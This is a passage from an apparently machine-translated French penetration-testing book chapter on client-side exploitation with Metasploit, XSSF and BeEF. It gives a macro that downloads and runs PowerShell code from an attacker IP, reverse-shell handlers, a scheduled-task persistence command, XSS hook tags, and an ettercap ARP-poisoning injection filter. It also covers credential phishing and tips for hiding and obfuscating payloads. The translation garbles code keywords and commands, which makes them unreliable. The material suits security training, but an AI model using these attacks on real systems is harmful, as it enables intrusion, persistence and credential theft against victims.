partie du texte donné dans la boîte d'information suivante (de
Sub Auto_Open() à
le dernier End Sub ) dans l'éditeur de macros et enregistrez-le
avec les macros activées.
'***************************************************
*** *************
'*
'* MACRO-CODE
'*
'***************************************************
*** *************
Sub Auto_Open()
Ffqsm12
Fin du sous-marin
// Code supplémentaire supprimé pour plus de clarté
Sous classeur_Ouvrir()
Auto_Open
Fin du sous-marin

Page 305
Exploitation côté client
[ 288 ]
Ensuite, copiez le shellcode dans le document réel. Un extrait
partiel du shellcode
est montré dans la capture d'écran suivante :
Le shellcode est reconnaissable comme un script qui peut être
utilisé pour effectuer une attaque,
vous pouvez donc vouloir masquer ou obscurcir le shellcode en
minimisant le
la taille de la police et en faisant correspondre la couleur à
l'arrière-plan du document.
L'attaquant doit mettre en place un écouteur sur Metasploit.
Après être entré dans msfconsole à un
invite de commande, l'attaquant entrera généralement les
commandes suivantes et
définir les options pour l'hôte, le port et la charge utile ; de plus,
l'attaquant configurera
la connexion pour migrer automatiquement vers le processus
explorer.exe plus stable ,
comme indiqué dans les lignes de commande suivantes.
msf>utiliser exploit/multi/handler
msf>définir l'hôte 192.168.43.130
msf>définir lport 4444
msf> définir la charge utile windows/meterpreter/reverse_tcp
msf>set autorunscript migrate -n explorer.exe
msf > exploiter
Lorsque le fichier est envoyé à la cible, il lance un
avertissement de sécurité contextuel lorsqu'il est
ouvert; par conséquent, les attaquants utiliseront l'ingénierie
sociale pour forcer la victime visée à
sélectionnez l' option Activer . L'une des méthodes les plus
courantes pour ce faire consiste à intégrer le
macro dans un document Microsoft Word ou une feuille de
calcul Excel qui a été configurée
jouer à un jeu.
Le lancement du document créera un shell TCP inversé vers
l'attaquant,
permettant à l'attaquant d'assurer une connexion persistante
avec la cible et de conduire
activités post-exploitation.
Pour étendre cette méthodologie d'attaque, nous pouvons
convertir n'importe quel exécutable en VBScript en utilisant
exe2vba.rb situé dans /usr/share/metasploit-framework/tools .

Page 306
Chapitre 11
[ 289 ]
Par exemple, créez d'abord une porte dérobée à l'aide du
framework Metasploit. Noter que
X désigne que la porte dérobée sera créée en tant
qu'exécutable ( attack.exe ), comme
montré dans la capture d'écran suivante :
Ensuite, exécutez exe2.vba pour convertir l'exécutable en
VBScript en utilisant ce qui suit
commande (assurez-vous que les chemins d'accès corrects sont
utilisés) :
# ruby ​ ​ exe2vba.rb attack.exe attack.vbs
[*] Conversion de 73802 octets d'EXE en script VBA
Cela permettra à l'exécutable d'être placé dans un document
Microsoft prenant en charge les macros
et envoyé à un client. VBScript peut être utilisé pour exécuter le
shell inverse et pour modifier le
registre système afin de s'assurer que le shell reste persistant.
Nous avons trouvé
les attaques de ce type sont l'un des moyens les plus efficaces
de contourner la sécurité du réseau
contrôle et maintient une connexion à un réseau sécurisé.
Du point de vue d'un attaquant, l'utilisation de
exploits basés sur VBScript (cela continue d'être un outil
puissant). Cependant, son utilisation
est rapidement remplacé par un langage de script plus puissant :
PowerShell.
Attaquer les systèmes à l'aide de Windows
PowerShell
Windows PowerShell est un shell de ligne de commande et un
langage de script destinés
à utiliser pour l'administration du système. Basé sur le
framework .NET, il étend le
capacités qui étaient disponibles dans VBScript. Le langage lui-
même est assez extensible.
Comme il est construit sur des bibliothèques .NET, vous pouvez
incorporer du code à partir de langages tels que
C# ou VB.NET. Vous pouvez également profiter de
bibliothèques tierces. Malgré cela
extensibilité, c'est un langage concis. VBScripts qui nécessitent
plus de 100 lignes de
le code peut être réduit à 10 lignes de PowerShell !
Peut-être que la meilleure caractéristique de PowerShell est
qu'il est disponible par défaut sur la plupart des
systèmes d'exploitation modernes basés sur Windows
(Windows 7 et versions supérieures)
et ne peut pas être supprimé.

Page 307
Exploitation côté client
[ 290 ]
Nous utiliserons les scripts PowerShell inclus avec Metasploit
Framework pour prendre en charge
la phase d'attaque de la kill chain.
Pour lancer l'attaque, nous utiliserons le module PowerShell
Payload Web Delivery
du Framework Metasploit. Le but de ce module est d'établir
rapidement
une session sur le système cible. L'attaque n'écrit pas sur le
disque, c'est donc moins
susceptible de déclencher la détection par l'antivirus côté client.
Lancement de l'attaque
et les options de module disponibles sont affichées dans la
capture d'écran suivante :
Le framework Metasploit générera une macro d'une ligne qui
peut être intégrée dans
un document et utilisé pour lancer l'attaque, comme illustré
dans l'exemple de code suivant :
Sous-ouverture automatique()
Appelez Shell ("PowerShell.exe -w caché -nop -ep bypass -c ""
IEX
((nouvel-objet
net.webclient).downloadstring('http://192.168.1.102:4444/b
oom'
))"",1)
Fin du sous-marin
Avant que l'attaque ne soit terminée, l'attaquant doit préparer
un écouteur pour le
shell ( URIPATH a été généré aléatoirement par Metasploit ;
assurez-vous que le bon
URIPATH est défini pour l'auditeur). Les commandes pour créer
un écouteur sont les suivantes :
msf> utiliser exploit/windows/misc/psh_web_delivery
msf exploit(psh_web_delivery)> définir SRVHOST
192.168.1.102
msf exploit(psh_web_delivery)> définir le boom URIPATH
msf exploit(psh_web_delivery) > exploiter

Page 308
Chapitre 11
[ 291 ]
Une attaque réussie créera un shell interactif sur le système de
l'attaquant.
Il est possible de rendre psh_web_delivery persistant en
utilisant le
commande schtask. La commande suivante créera un
tâche, MSOfficeMngmt, qui implémentera powershell.exe
(par défaut, situé dans le répertoire Windows\system32) à la
connexion :
schtasks /create /tn MSOfficeMngmt /tr "powershell.exe
-WindowsStyle masqué -NoLogo -NonInteractive
-ep -bypass -nop -c 'IEX ((nouveau-objet
net.webclient).downloadstring
(''http://192.168.1.104:4444/boom'''))'" /sc à l'ouverture de
session
/ru Système
Des scripts PowerShell supplémentaires conçus pour prendre
en charge les activités post-exploitation peuvent être
trouvé dans le répertoire PowerSploit de Kali. Malgré la
flexibilité de PowerShell, il a
quelques inconvénients.
Par exemple, si le document contenant la macro est fermé par
l'utilisateur final avant
un mécanisme de persistance peut être appliqué, la connexion
est perdue.
Plus important encore, les scripts tels que VBScript et
PowerShell ne sont utiles que contre
Environnements Microsoft. Pour étendre la portée des
attaques côté client, nous devons
rechercher une vulnérabilité côté client commune qui peut être
exploitée indépendamment de sa
environnement du système d'exploitation. Un exemple
particulier d'une telle vulnérabilité est
script inter-sites.
Le framework de script inter-sites
Les vulnérabilités de type Cross-Site Scripting ( XSS ) seraient
les plus courantes
vulnérabilités exploitables trouvées dans les sites Web. On
estime qu'ils sont
présent dans jusqu'à 80 pour cent de toutes les applications.
Les vulnérabilités XSS surviennent lorsqu'une application,
généralement basée sur le Web, viole les
concept de confiance connu sous le nom de politique de même
origine et affiche un contenu qui a été
fourni par un utilisateur qui n'a pas été désinfecté pour
supprimer les déclarations malveillantes.
Il y a au moins deux principaux types de vulnérabilités XSS: non
persistant
et persistant .
Le type le plus courant est celui des vulnérabilités non
persistantes ou réfléchies. Ceux-ci se produisent lorsque
les données fournies par le client sont utilisées immédiatement
par le serveur pour afficher une réponse.
Une attaque de cette vulnérabilité peut se produire via un e-
mail ou un site Web tiers fournissant
une URL qui semble faire référence à un site Web de confiance
mais qui contient le code d'attaque XSS. Si
le site de confiance est vulnérable à cette attaque particulière,
l'exécution du lien peut provoquer le
navigateur de la victime pour exécuter un script hostile
pouvant conduire à un compromis.

Page 309
Exploitation côté client
[ 292 ]
Des vulnérabilités XSS persistantes (stockées) surviennent
lorsque les données fournies par l'attaquant
est enregistré par le serveur, puis est affiché en permanence
sur les pages Web de confiance pour
autres utilisateurs au cours de leur navigation. Cela se produit
généralement avec en ligne
les babillards électroniques et les blogs qui permettent aux
utilisateurs de publier des messages au format HTML. Un
l'attaquant peut placer un script hostile sur la page Web qui
n'est pas visible pour les entrants
utilisateurs, mais qui compromet les visiteurs qui accèdent aux
pages concernées.
Plusieurs outils existent sur Kali Linux pour trouver les
vulnérabilités XSS, notamment xsser et
divers scanners de vulnérabilité. Cependant, il existe des outils
qui permettent à un testeur
d'exploiter pleinement une vulnérabilité XSS, démontrant la
gravité de la faiblesse.
Le Cross-Site Scripting Framework ( XSSF ) est un outil de
sécurité multiplateforme qui
exploite les vulnérabilités XSS pour créer un canal de
communication avec la cible,
prenant en charge les modules d'attaque qui incluent :
• Effectuer la reconnaissance d'un navigateur cible (empreintes
digitales et
URL visitées), l'hôte cible (détection des machines virtuelles,
obtention des informations système,
clés de registre et clés sans fil) et le réseau interne.
• Envoi d'un message d'alerte contextuel à la cible. Cette
simple "attaque" peut être
utilisé pour démontrer la vulnérabilité XSS, cependant, des
alertes plus complexes
peut imiter les invites de connexion et capturer les
informations d'authentification de l'utilisateur.
• Le vol de cookies permettant à un attaquant de se faire
passer pour la cible.
• Rediriger la cible pour afficher une autre page Web. Une page
Web hostile peut
télécharger automatiquement un exploit sur le système cible.
• Chargement de fichiers PDF ou d'applets Java sur la cible, ou
vol de données telles que
Contenu de la carte SD à partir d'appareils mobiles Android.
• Lancement d'attaques Metasploit, y compris
browser_autopwn , ainsi que
attaques par déni de service.
• Lancer des attaques d'ingénierie sociale, y compris le vol de
saisie semi-automatique,
détournement de clics, Clippy, fausses mises à jour flash,
phishing et tabnabbing.
De plus, la fonction XSSF Tunnel permet à un attaquant de se
faire passer pour la victime
et parcourir des sites Web à l'aide de leurs informations
d'identification et de leur session. Cela peut être un moyen
efficace
méthode pour accéder à un intranet interne d'entreprise.
L'API est bien documentée, ce qui permet de créer facilement
de nouveaux modules d'attaque.
Parce qu'elle est écrite en Ruby, l'API s'intègre au Framework
Metasploit,
permettant aux attaquants de lancer des attaques
supplémentaires.

Page 310
Chapitre 11
[ 293 ]
Pour utiliser XSSF, il doit être installé et configuré pour
supporter une attaque utilisant le
Etapes suivantes:
1. XSSF n'est pas fourni avec Kali. Tout d'abord, l'utilisateur doit
ouvrir une fenêtre de terminal
et définissez le répertoire approprié à l'aide de la commande
suivante :
root@kali:~# cd /opt/metasploit/apps/pro/msf3
2. Installez XSSF à l'aide de la commande suivante :
svn export http://xssf.googlecode.com/svn/trunk ./ --force
Assurez-vous que vous utilisez svn export au lieu de svn
checkout , car ce dernier
La commande cassera les fichiers MSF svn existants. Un extrait
d'une réussite
l'installation est illustrée dans la capture d'écran suivante :
3. Depuis la console Metasploit Framework, chargez le plugin
XSSF à l'aide du
commande load xssf , comme illustré dans la capture d'écran
suivante :

Page 311
Exploitation côté client
[ 294 ]
4. Identifiez les commandes XSSF, comme illustré dans la
capture d'écran suivante, en
taper helpxssf :
5. Depuis la console, accédez aux URL associées au plugin à
l'aide de la
commande suivante :
msf>xssf_urls
L'exécution de la commande précédente est donnée dans la
capture d'écran suivante,
comme vous pouvez le voir, plusieurs URL sont identifiées :
L'URL la plus importante est le serveur XSSF, qui se trouve sur
l'hôte local.
Plusieurs autres URL sont identifiées, notamment les suivantes :
°
Injection XSS générique : C'est la cible que vous tentez
pour amener la victime à cliquer ou à exécuter.

Page 312
Chapitre 11
[ 295 ]
°
Page de test XSSF : XSSF donne accès à une page de test locale
qui est
sensibles aux attaques XSS. Cela peut être utilisé pour valider
les attaques et
résultats avant de lancer les attaques lors des tests réels.
°
XSSF Tunnel Proxy : XSSF permet à un attaquant de surfer en
utilisant le
l'identité d'un hôte compromis tout en conservant son identité
de sécurité.
°
Page des journaux XSSF : Cette page journalise les attaques et
les informations reçues.
Malheureusement, la page du journal fournit un arrière-plan
très sombre, et il
est difficile de voir les informations renvoyées. Lors des tests,
nous avons généralement
accéder aux informations du journal via la ligne de commande,
qui est plus propre et
peut être scénarisé.
°
Page de statistiques XSSF .
°
Page d'aide XSSF .
Nous utiliserons l'application Web vulnérable, Mutillidae , pour
démontrer que
le XSSF. Mutillidae fait partie du projet Metasploitable, qui peut
être
téléchargé à partir de
http://sourceforge.net/projects/metasploitable/
fichiers/Metasploitable2/ . Reportez-vous à l' annexe ,
Installation de Kali Linux pour les notes
sur l'installation de cette cible vulnérable.
6. Une fois Mutillidae ouvert, accédez à la page du blog ; cette
page est connue
être vulnérable à XSS (vous pouvez utiliser un outil d'analyse de
vulnérabilité contre
Mutillidae pour identifier d'autres points d'insertion potentiels).
Pour lancer l'attaque contre le client cible, ne saisissez pas une
publication régulière
dans le blog. Au lieu de cela, entrez des éléments de script qui
contiennent l'URL cible
et port :
<script
src="http://192.168.0.104:8888/loop?interval=5"></script>
La capture d'écran suivante montre l'emplacement du code
d'attaque sur le
la page de blog du site Web cible.

Page 313
Exploitation côté client
[ 296 ]
Lorsqu'elle est saisie et que la victime clique sur Enregistrer
l'entrée de blog , son
système sera compromis. Depuis la console Metasploit
Framework,
le testeur peut obtenir des informations sur chaque victime en
utilisant le xssf_victims
et les commandes xssf_information . Lors de l'exécution de
xssf_victims
commande, des informations sur chaque victime sont affichées,
comme indiqué dans la
capture d'écran suivante :
L'attaque XSS la plus courante à ce stade consiste à envoyer un
bref et relativement inoffensif
message ou alerte au client. En utilisant le framework
Metasploit, cela peut être réalisé
relativement simplement en entrant les commandes suivantes :
msf > utiliser auxiliaire/xssf/public/misc/alert
auxiliaire msf (alerte) > afficher les options
Après avoir passé en revue les options, une alerte peut être
envoyée rapidement depuis la ligne de commande,
comme le montre la capture d'écran suivante :

Page 314
Chapitre 11
[ 297 ]
La victime verra un message, comme illustré dans la capture
d'écran suivante :
Généralement, la plupart des testeurs et leurs clients valident
les scripts intersites à l'aide de tels
messages d'alerte simples. Ceux-ci prouvent qu'une «
vulnérabilité » existe.
Cependant, les alertes simples manquent d'impact émotionnel.
Souvent, ils identifient un vrai
vulnérabilité, mais le client ne répond pas et n'arbitre pas la
vulnérabilité car
les messages d'alerte ne sont pas perçus comme une menace
importante. Heureusement, XSSF permet
testeurs pour « monter la barre » et démontrer des attaques
plus sophistiquées et plus dangereuses.
XSSF peut être utilisé pour voler des cookies en utilisant les
commandes suivantes :
msf> utiliser auxiliaire/xssf/public/misc/cookie
msfauxillary(cookie) > afficher les options
(assurez-vous que toutes les options nécessaires sont
sélectionnées)
msfauxillary(cookie) > exécuter

Page 315
Exploitation côté client
[ 298 ]
L'exécution de la commande run est illustrée dans la capture
d'écran suivante :
Lorsque l'attaque est terminée, le cookie peut être trouvé en
examinant les résultats
sur la page des journaux XSSF ou directement depuis la ligne de
commande à l'aide de la commande, comme
montré dans la capture d'écran suivante :
Certaines autres commandes utiles dans
auxiliaire/xssf/public/misc incluent :
• check_connected : Cette commande vérifie si la victime a
ouvert
tout site de réseautage social (Gmail, Facebook ou Twitter)
• csrf : Il lance une attaque de falsification de requêtes
intersites
• keylogger : Cette commande invoque un keylogger côté client
• load_applet et load_pdf : ces commandes chargent des
applets Java hostiles
et PDF côté client et invoquez-les pour lancer des fichiers
préconfigurés
logiciel malveillant
• redirect : Il redirige le client vers une page Web spécifiée
• webcam_capture : Cette commande capture les images de la
webcam du client
Il s'agit d'une liste incomplète, mais elle montre dans quelle
mesure l'outil a été
développé. En outre, il existe des modules pour l'analyse et le
lancement du réseau
une attaque par déni de service, ainsi que certains modules
pour assurer la persistance après
une attaque est terminée.
XSSF peut également être utilisé avec ettercap pour
compromettre un réseau interne. Pour
exemple, ettercap peut être utilisé pour remplacer les données
</head> par un lien vers le
page malveillante en plaçant le code suivant dans un filtre
nommé attack :
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "</head>")) {

Page 316
Chapitre 11
[ 299 ]
replace("</head>", "</head><script
src=\"http://192.168.43.130:8888/test.html\"></script> ");
}
}
Le script de filtrage doit ensuite être converti en un fichier
binaire à l'aide de la commande suivante :
etterfilter attack.filter –o attack.ef
Pour lancer cette attaque contre tous les utilisateurs d'un
réseau, exécutez ettercap avec le
commande suivante :
ettercap –T –q –F attaque.ef –M ARP // //
XSSF, en particulier lorsqu'il est intégré au framework
Metasploit, est un outil très puissant
outil d'exploitation des vulnérabilités XSS. Cependant, une
nouvelle star a récemment émergé
qui peut vous aider à réaliser des attaques similaires : le
Browser Exploitation Framework.
Le cadre d'exploitation de Brower -
Du bœuf
BeEF est un outil d'exploitation qui se concentre sur une
application spécifique côté client : le
navigateur Internet.
BeEF permet à un attaquant d'injecter un code JavaScript dans
un code HTML vulnérable
en utilisant une attaque telle que XSS ou injection SQL. Ce code
d'exploitation est connu sous le nom de hook .
Un compromis est obtenu lorsque le hook est exécuté par le
navigateur. Le navigateur
( zombie ) se reconnecte à l'application BeEF, qui sert les
commandes JavaScript
ou modules au navigateur.
Les modules de BeEF effectuent des tâches telles que les
suivantes :
• Empreintes digitales et reconnaissance des navigateurs
compromis. Ça peut aussi
être utilisé comme une plate-forme pour évaluer la présence
d'exploits et leur comportement
sous différents navigateurs.
Notez que BeEF nous permet d'accrocher plusieurs navigateurs
sur le même
client, ainsi que plusieurs clients dans un domaine, puis gérer
pendant les phases d'exploitation et de post-exploitation.
• Empreinte digitale de l'hôte cible, y compris la présence de
machines virtuelles.

Page 317
Exploitation côté client
[ 300 ]
• Détection de logiciels sur le client (Internet Explorer
uniquement) et obtention d'un
liste des répertoires dans Program Files et Program Files (x86)
répertoires. Cela peut identifier d'autres applications qui
peuvent être exploitées pour
consolider notre emprise sur le client.
• Prendre des photos à l'aide de la webcam du système
compromis ; ces photos ont
un impact significatif dans les rapports.
• Effectuer des recherches dans les fichiers de données de la
victime et voler des données pouvant
contenir des informations d'authentification (contenu du
presse-papiers et cookies du navigateur)
ou d'autres informations utiles.
• Implémentation de la journalisation des frappes du
navigateur.
• Effectuer une reconnaissance du réseau à l'aide de balayages
ping et d'empreintes digitales
les appliances réseau et la recherche de ports ouverts.
• Lancer des attaques depuis le Framework Metasploit.
• Utilisation de l'extension proxy de tunneling pour attaquer le
réseau interne à l'aide
l'autorité de sécurité du navigateur Web compromis.
Étant donné que BeEF est écrit en Ruby, il prend en charge
plusieurs systèmes d'exploitation (Linux,
Windows et OS X). Plus important encore, il est facile de
personnaliser de nouveaux modules dans
BeEF et étendre ses fonctionnalités.
Installation et configuration du navigateur
Cadre d'exploitation
BeEF ne fait pas partie de la distribution Kali, cependant, il a été
emballé avec
dépendances requises pour prendre en charge l'installation
automatisée dans Kali. Pour installer BeEF, utilisez
la commande suivante :
root@kali:~# apt-get install boeuf-xss
BeEF sera installé dans le répertoire /usr/share/beef-xss . Par
défaut, ce n'est pas
intégré au framework Metasploit. Pour intégrer BeEF, vous
devrez
effectuez les étapes suivantes :
1. Modifiez le fichier de configuration principal situé dans
/usr/share/beef-xss/
config.yaml à lire :
métasploit :
activer:vrai

Page 318
Chapitre 11
[ 301 ]
2. Modifiez le fichier situé dans /usr/share/beef-
xss/extensions/metasploit/
config.yml . Vous devez modifier les lignes host , callback_host
et os
'personnalisé', chemin pour inclure votre adresse IP et
l'emplacement du
Metasploit Framework Un fichier config.yml correctement
édité est affiché dans le
capture d'écran suivante :
3. Démarrez msfconsole et chargez le module msgrpc , comme
indiqué ci-dessous
capture d'écran. Assurez-vous d'inclure également le mot de
passe :
4. Démarrez BeEF à l'aide des commandes suivantes :
root@kali:~# cd /usr/share/beef-xss/
root@kali:/usr/share/beef-xss/~# ./beef

Page 319
Exploitation côté client
[ 302 ]
5. Confirmez le démarrage en consultant les messages générés
pendant le programme
lancement. Ils doivent indiquer que Connexion réussie avec
Metasploit
s'est produit, qui sera accompagné d'une indication que
Metasploit
exploits ont été chargés. Un lancement de programme réussi
est indiqué dans le
capture d'écran suivante :
Lorsque vous redémarrez BeEF, utilisez le commutateur -x pour
réinitialiser la base de données.
Dans cet exemple, le serveur BeEF s'exécute sur
192.168.222.129 et le "hook URL"
(celui que nous voulons que la cible active) est
192.168.222.129:80/hook.js .
La majeure partie de l'administration et de la gestion de BeEF
se fait via l'interface Web.
Pour accéder au panneau de configuration, accédez à
http://<Adresse IP>:3000/ui/panel .
Les identifiants de connexion par défaut sont Nom
d'utilisateur:beef et Mot de passe:beef , comme indiqué dans
la capture d'écran suivante, à moins qu'elles n'aient été
modifiées dans config.yaml .
Page 320
Chapitre 11
[ 303 ]
Présentation du navigateur BeEF
Lorsque le panneau de contrôle BeEF est lancé, il présentera la
mise en route
écran, comportant des liens vers le site en ligne ainsi que les
pages de démonstration qui
peut être utilisé pour valider les différentes attaques. Le
panneau de commande BeEF est affiché dans
la capture d'écran suivante :

Page 321
Exploitation côté client
[ 304 ]
Si vous avez accroché une victime, l'interface sera divisée en
deux panneaux :
• Sur le côté gauche du panneau, Hooked Browsers , le testeur
peut voir
chaque navigateur connecté répertorié avec des informations
sur le fonctionnement de son hôte
système, type de navigateur, adresse IP et plugins installés.
Parce que BeEF définit un
cookie pour identifier les victimes, il peut se référer à ces
informations et maintenir un
liste cohérente de victimes.
• Le côté droit du panneau est l'endroit où toutes les actions
sont lancées et
les résultats sont obtenus. Dans l' onglet Commandes , nous
voyons un référentiel catégorisé
des différents vecteurs d'attaque pouvant être utilisés contre
les navigateurs hookés. Cette
La vue sera différente en fonction du type et de la version de
chaque navigateur.
BeEF utilise un schéma de codage couleur pour caractériser les
commandes sur la base de leur
l'utilisabilité contre une cible particulière. Les couleurs utilisées
sont les suivantes :
• Vert : Ceci indique que le module de commande fonctionne
contre la cible
et doit être détecté par la victime
• Orange : Ceci indique que le module de commande travaille
contre la cible,
mais il peut être détecté par la victime
• Gris : Ceci indique que le module de commande n'est pas
encore vérifié par rapport
la cible
• Rouge : Ceci indique que le module de commande ne
fonctionne pas contre le
cible. Il peut être utilisé, mais son succès n'est pas garanti, et
son utilisation peut être
détecté par la cible
Prenez ces indicateurs avec précaution car les variations de
l'environnement client
peut rendre certaines commandes inefficaces ou provoquer
d'autres résultats inattendus.
Pour lancer une attaque ou accrocher une victime, nous devons
amener l'utilisateur à cliquer sur l'URL du crochet,
qui prend la forme de <IP ADDRESS>:<PORT>/hook.js . Ceci
peut être réalisé en utilisant
divers moyens, dont :
• Les vulnérabilités XSS d'origine
• Attaques man-in-the-middle (en particulier celles utilisant
BeEF Shank , un ARP
outil d'usurpation qui cible spécifiquement les sites intranet sur
les réseaux internes)
• Attaques d'ingénierie sociale, y compris le cloneur Web BeEF
et l'e-mail de masse,
point d'accrochage personnalisé avec emprunt d'identité
iFrame, ou le générateur de code QR
Une fois que le navigateur a été accroché, il est appelé zombie.
Sélectionnez l'adresse IP
du zombie depuis le panneau Hooked Browsers sur le côté
gauche de la commande
l'interface, puis reportez-vous aux commandes disponibles.

Page 322
Chapitre 11
[ 305 ]
Dans cet exemple montré dans la capture d'écran suivante, il
existe plusieurs attaques différentes
et les options de gestion disponibles pour le navigateur
accroché. L'une des attaques les plus faciles
options à utiliser est l'attaque Clippy d'ingénierie sociale.
Lorsque Clippy est sélectionné dans l' arborescence des
modules sous Commandes , un Clippy spécifique
panneau est lancé à l'extrême droite, comme le montre la
capture d'écran suivante. Il permet
à vous de régler l'image, le texte livré, et l'exécutable qui sera
lancé
localement si la victime clique sur le lien fourni. Par défaut, le
texte personnalisé informe
la victime que son navigateur est obsolète, lui propose de le
mettre à jour pour elle, télécharge
un exécutable (non malveillant), puis remercie l'utilisateur
d'avoir effectué la mise à niveau.
Toutes ces options peuvent être modifiées par le testeur.

Page 323
Exploitation côté client
[ 306 ]
Lorsque Clippy est exécuté, la victime verra un message comme
indiqué ci-dessous
capture d'écran sur leur navigateur :
Cela peut être une attaque d'ingénierie sociale très efficace.
Lors des tests avec les clients,
nous avons eu des taux de réussite (le client a téléchargé un
fichier indicateur non malveillant)
d'environ 70 pour cent.
Le module d'invite fonctionne de manière similaire. Au lieu
d'envoyer une simple alerte
au navigateur de la victime, il envoie une demande de
notification invitant la victime à
entrer des données. Dans de nombreux cas, si la victime est
invitée à fournir des données non définies, elle
ressaisir automatiquement son mot de passe. L'invite peut
demander des données spécifiques, ou elle peut
être utilisé pour diriger la victime vers un site Web pour
télécharger un correctif système qui contient
malware. La capture d'écran suivante montre l'un des plus
simples et des plus efficaces
attaques pour obtenir le mot de passe d'un utilisateur.

Page 324
Chapitre 11
[ 307 ]
L'une des attaques les plus intéressantes est Pretty Theft, qui
demande aux utilisateurs leur
nom d'utilisateur et mot de passe pour les sites populaires. Par
exemple, l'option Pretty Theft pour
Facebook peut être configuré par le testeur, comme le montre
la capture d'écran suivante :
Lorsque l'attaque est exécutée, la victime est présentée avec
une fenêtre contextuelle qui semble être
légitime, comme le montre la capture d'écran suivante :

Page 325
Exploitation côté client
[ 308 ]
Dans BeEF, le testeur examine le journal de l'historique de
l'attaque et peut en déduire le nom d'utilisateur
et mot de passe du champ de données dans la colonne
Résultats de la commande , comme indiqué dans le
capture d'écran suivante :
Intégration des attaques BeEF et Metasploit
BeEF et Metasploit Framework ont ​ ​ tous deux été
développés à l'aide de Ruby et peuvent
opérer ensemble pour exploiter une cible. Parce qu'il utilise
côté client et côté serveur
empreintes digitales pour caractériser une cible,
browser_autopwn est l'un des plus
attaques réussies.
Une fois la cible accrochée, démarrez la console Metasploit et
configurez le
attaque à l'aide des commandes suivantes :
msf > utiliser auxiliaire/serveur/navigateur_autopwn
auxiliaire msf (browser_autopwn) > définir LHOST
192.168.43.130
auxiliaire msf (browser_autopwn) > définir PAYLOAD_WIN32
windows/meterpreter/reverse_tcp
auxiliaire msf (browser_autopwn) > définir PAYLOAD_JAVA
java/meterpreter/reverse_tcp
auxiliaire msf (browser_autopwn) > exploiter
Attendez que tous les exploits pertinents aient fini de se
charger. Dans l'exemple montré dans
la capture d'écran suivante, 18 exploits sont chargés. Notez
l'URL cible de l'attaque comme
bien. Dans cet exemple, l'URL cible est
http://192.168.43.130:8080/ICprp4Tnf4Z :

Page 326
Chapitre 11
[ 309 ]
Il existe plusieurs méthodes pour inciter un navigateur à cliquer
sur une URL ciblée, cependant,
si nous avons déjà accroché le navigateur cible, nous pouvons
utiliser la fonction de redirection de BeEF .
Dans le panneau de configuration BeEF, accédez à Navigateur |
Domaine accroché | Navigateur de redirection .
Lorsque vous y êtes invité, utilisez ce module pour pointer vers
l'URL cible, puis exécutez
l'attaque.
Dans la console Metasploit, vous verrez les attaques
sélectionnées être successivement
lancé contre la cible. Une attaque réussie ouvrira une session
Meterpreter,
comme le montre la capture d'écran suivante :
Pour voir la liste des sessions ouvertes avec la cible
compromise, tapez sessions -l .
Pour vous connecter de manière interactive à une session
spécifique, par exemple, la session 1, tapez
séances -i 1 .
Utiliser BeEF comme proxy de tunneling
Le tunneling est le processus d'encapsulation d'un protocole de
charge utile dans une livraison
protocole, comme IP. En utilisant le tunneling, vous pouvez
transmettre des protocoles incompatibles
à travers un réseau, ou vous pouvez contourner les pare-feu
qui sont configurés pour bloquer un
protocole particulier. BeEF peut être configuré pour agir
comme un proxy de tunnel qui imite
un proxy HTTP inversé : la session du navigateur devient le
tunnel, et le hooké
navigateur est le point de sortie. Cette configuration est
extrêmement utile lorsqu'un
réseau a été compromis car le proxy de tunneling peut être
utilisé pour :
• Parcourir les sites authentifiés dans le contexte de sécurité
(certificats SSL côté client,
cookies d'authentification, hachages NTLM, etc.) du navigateur
de la victime
• Spider le domaine accroché en utilisant le contexte de
sécurité du navigateur de la victime
• Faciliter l'utilisation d'outils tels que l'injection SQL

Page 327
Exploitation côté client
[ 310 ]
Pour utiliser le proxy tunneling, sélectionnez le navigateur
hooké que vous souhaitez cibler et
faites un clic droit sur son adresse IP. Dans la fenêtre
contextuelle, comme illustré dans la capture d'écran suivante,
sélectionnez l' option Utiliser comme proxy :
Configurez un navigateur pour utiliser le proxy de tunneling
BeEF en tant que proxy HTTP. Par défaut,
l'adresse du proxy est 127.0.0.1 et le port est 6789.
Si vous visitez un site Web ciblé à l'aide du navigateur configuré
comme proxy HTTP, tous
les paires requête/réponse brutes seront stockées dans la base
de données BeEF, qui peut être
analysés en naviguant vers Rider | Historique (un extrait du
journal est affiché dans
la capture d'écran suivante).
Une fois l'attaque terminée, il existe des mécanismes pour
s'assurer qu'un
la connexion persistante est conservée, y compris :
• Confirmer la fermeture : un module qui présente à la victime
une confirmation de navigation
- êtes-vous sûr de vouloir laisser cette page pop-up lorsqu'ils
essaient de fermer
un onglet. Si l'utilisateur choisit de quitter cette page , celle-ci
ne sera pas effective et le
La fenêtre contextuelle Confirmer la navigation continuera à se
présenter.
• Module pop-under : il est configuré pour s'exécuter
automatiquement dans config.yaml . Cette
le module tente d'ouvrir une petite fenêtre pop-under pour
garder le navigateur
accroché si la victime ferme l'onglet principal du navigateur.
Cela peut être bloqué par
bloqueurs de pop-up.

Page 328
Chapitre 11
[ 311 ]
• Keylogger iFrame : réécrit tous les liens d'une page Web vers
un iFrame
superposition qui correspond à 100 pour cent de la hauteur et
de la largeur de l'original. Pour
efficacité maximale, il doit être attaché à un keylogger
JavaScript.
Idéalement, vous chargeriez la page de connexion du domaine
accroché.
• Man-in-the-browser : Ce module garantit que chaque fois
que la victime clique
sur n'importe quel lien, la page suivante sera également
accrochée. Le seul moyen d'éviter
ce comportement consiste à taper une nouvelle adresse dans la
barre d'adresse.
Enfin, bien que BeEF propose une excellente série de modules
pour effectuer les
reconnaissance, ainsi que les phases d'exploitation et de post-
exploitation de la chaîne de destruction, la
les activités par défaut connues de BeEF (/hook.js et en-têtes
de serveur) sont utilisées pour
détecter les attaques, ce qui réduit son efficacité. Les testeurs
devront masquer leurs attaques
en utilisant des techniques telles que l'encodage Base64,
l'encodage des espaces blancs, la randomisation
variables et en supprimant les commentaires pour garantir une
efficacité totale à l'avenir.
Sommaire
Dans ce chapitre, nous avons examiné les attaques contre des
systèmes généralement isolés
à partir de réseaux protégés. Ces attaques côté client se
concentrent sur les vulnérabilités dans
applications spécifiques. Nous avons examiné les scripts
hostiles, en particulier VBScript et PowerShell,
qui sont particulièrement utiles pour tester et compromettre
les réseaux Windows.
Nous avons ensuite examiné le Cross-Site Scripting Framework,
qui peut compromettre XSS
vulnérabilités, ainsi que l'outil BeEF, qui cible les vulnérabilités
dans un
navigateur. XSSF et BeEF s'intègrent tous deux à la
reconnaissance, l'exploitation et
outils de post-exploitation sur Kali pour fournir des plates-
formes d'attaque complètes.
